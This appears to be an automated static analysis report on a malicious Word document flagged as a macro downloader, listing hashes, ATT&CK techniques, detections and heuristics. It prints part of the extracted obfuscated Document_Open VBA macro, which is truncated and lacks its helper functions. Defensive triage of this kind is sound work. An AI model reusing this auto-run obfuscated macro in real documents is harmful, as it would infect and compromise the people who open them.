Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 90a6b03cc71bb0c5…

MALICIOUS

Office (OLE)

957.5 KB Created: 2018-07-23 18:23:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 5f1d4cfedc55a3898261c66cc1e74d80 SHA-1: 1be0dd389be12666b76726562d5a17061692d418 SHA-256: 90a6b03cc71bb0c5b17d8f098fbe0900d27be71042dab4fc7e17bab17ec2df6b
264 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate or Obfuscate Malicious Code T1027 Obfuscated Files or Information

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute upon opening. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', a common social engineering tactic to bypass security measures. The VBA code, though obfuscated, utilizes CreateObject and GetObject calls, indicative of payload execution or manipulation. The presence of a 'macros.bas' file and the ClamAV detection 'Doc.Malware.Valyria-10015839-0' further confirm its malicious nature, likely acting as a downloader for a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-10015839-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10015839-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38700 bytes
SHA-256: 6ec1d94e4fd273392a220574e6ea0031425415f71a542a227441d73317661e3c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 28 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "TextBox1, 0, 1, MSForms, TextBox"

Option Explicit
Sub Document_Open()
    On Error Resume Next


    Dim lKQZ, BDdj, aMjd As String
    lKQZ = GUIw(tYci)
    BDdj = GUIw(nOxu)
    aMjd = GUIw(SkWI)


    Dim sIDb As String
    sIDb = hYNB(WmYo(19, 64))
    sIDb = anOx(sIDb, hYNB(WmYo(208, 179)))
    sIDb = anOx(sIDb, hYNB(WmYo(226, 144)))
    sIDb = anOx(sIDb, hYNB(WmYo(82, 59)))
    sIDb = anOx(sIDb, hYNB(WmYo(93, 45)))
    sIDb = anOx(sIDb, hYNB(WmYo(16, 100)))
    sIDb = anOx(sIDb, hYNB(WmYo(82, 59)))
    sIDb = anOx(sIDb, hYNB(WmYo(6, 104)))
    sIDb = anOx(sIDb, hYNB(WmYo(63, 88)))
    sIDb = anOx(sIDb, hYNB(WmYo(31, 49)))
    sIDb = anOx(sIDb, hYNB(WmYo(34, 100)))
    sIDb = anOx(sIDb, hYNB(WmYo(82, 59)))
    sIDb = anOx(sIDb, hYNB(WmYo(211, 191)))
    sIDb = anOx(sIDb, hYNB(WmYo(253, 152)))
    sIDb = anOx(sIDb, hYNB(WmYo(19, 64)))
    sIDb = anOx(sIDb, hYNB(WmYo(31, 102)))
    sIDb = anOx(sIDb, hYNB(WmYo(6, 117)))
    sIDb = anOx(sIDb, hYNB(WmYo(16, 100)))
    sIDb = anOx(sIDb, hYNB(WmYo(253, 152)))
    sIDb = anOx(sIDb, hYNB(WmYo(254, 147)))
    sIDb = anOx(sIDb, hYNB(WmYo(14, 65)))
    sIDb = anOx(sIDb, hYNB(WmYo(179, 209)))
    sIDb = anOx(sIDb, hYNB(WmYo(46, 68)))
    sIDb = anOx(sIDb, hYNB(WmYo(253, 152)))
    sIDb = anOx(sIDb, hYNB(WmYo(208, 179)))
    sIDb = anOx(sIDb, hYNB(WmYo(16, 100)))

    Dim YTmR As String
    YTmR = lKQZ
    Dim aBGi As String
    aBGi = ""
    aBGi = anOx(aBGi, hYNB(WmYo(76, 15)))
aBGi = anOx(aBGi, hYNB(WmYo(31, 37)))
aBGi = anOx(aBGi, "\")
aBGi = anOx(aBGi, hYNB(WmYo(1, 81)))
aBGi = anOx(aBGi, hYNB(WmYo(226, 144)))
aBGi = anOx(aBGi, hYNB(WmYo(67, 44)))
aBGi = anOx(aBGi, hYNB(WmYo(63, 88)))
aBGi = anOx(aBGi, hYNB(WmYo(226, 144)))
aBGi = anOx(aBGi, hYNB(WmYo(116, 21)))
aBGi = anOx(aBGi, hYNB(WmYo(254, 147)))
aBGi = anOx(aBGi, hYNB(WmYo(32, 100)))
aBGi = anOx(aBGi, hYNB(WmYo(116, 21)))
aBGi = anOx(aBGi, hYNB(WmYo(16, 100)))
aBGi = anOx(aBGi, hYNB(WmYo(116, 21)))
aBGi = anOx(aBGi, "\")
aBGi = anOx(aBGi, hYNB(WmYo(14, 65)))
aBGi = anOx(aBGi, hYNB(WmYo(226, 151)))
aBGi = anOx(aBGi, hYNB(WmYo(16, 100)))
aBGi = anOx(aBGi, hYNB(WmYo(211, 191)))
aBGi = anOx(aBGi, hYNB(WmYo(67, 44)))
aBGi = anOx(aBGi, hYNB(WmYo(67, 44)))
aBGi = anOx(aBGi, hYNB(WmYo(226, 137)))
aBGi = anOx(aBGi, hYNB(WmYo(31, 49)))
aBGi = anOx(aBGi, hYNB(WmYo(82, 59)))
aBGi = anOx(aBGi, hYNB(WmYo(6, 104)))
aBGi = anOx(aBGi, hYNB(WmYo(82, 59)))

    Module1.UJny aBGi, YTmR, sIDb

    Dim wLSb As String
    wLSb = ""
    wLSb = anOx(wLSb, hYNB(WmYo(76, 15)))
wLSb = anOx(wLSb, hYNB(WmYo(31, 37)))
wLSb = anOx(wLSb, "\")
wLSb = anOx(wLSb, hYNB(WmYo(1, 81)))
wLSb = anOx(wLSb, hYNB(WmYo(226, 144)))
wLSb = anOx(wLSb, hYNB(WmYo(67, 44)))
wLSb = anOx(wLSb, hYNB(WmYo(63, 88)))
wLSb = anOx(wLSb, hYNB(WmYo(226, 144)))
wLSb = anOx(wLSb, hYNB(WmYo(116, 21)))
wLSb = anOx(wLSb, hYNB(WmYo(254, 147)))
wLSb = anOx(wLSb, hYNB(WmYo(32, 100)))
wLSb = anOx(wLSb, hYNB(WmYo(116, 21)))
wLSb = anOx(wLSb, hYNB(WmYo(16, 100)))
wLSb = anOx(wLSb, hYNB(WmYo(116, 21)))
wLSb = anOx(wLSb, "\")
wLSb = anOx(wLSb, hYNB(WmYo(14, 65)))
wLSb = anOx(wLSb, hYNB(WmYo(226, 151)))
wLSb = anOx(wLSb, hYNB(WmYo(16, 100)))
wLSb = anOx(wLSb, hYNB(WmYo(211, 191)))
wLSb = anOx(wLSb, hYNB(WmYo(67, 44)))
wLSb = anOx(wLSb, hYNB(WmYo(67, 44)))
wLSb = anOx(wLSb, hYNB(WmYo(226, 137)))
wLSb = anOx(wLSb, hYNB(WmYo(31, 49)))
wLSb = anOx(wLSb, hYNB(WmYo(193, 165)))
wLSb = anOx(wLSb, hYNB(WmYo(211, 191)))
wLSb = anOx(wLSb, hYNB(WmYo(211, 191)))


    Dim QyRz As String
    QyRz = BDdj
    Module1.UJny wLSb, QyRz, sIDb

    Dim Ruap As String
    Ruap = ""
    Ruap = anOx(Ruap, hYNB(WmYo(76, 15)))
Ruap = an
... (truncated)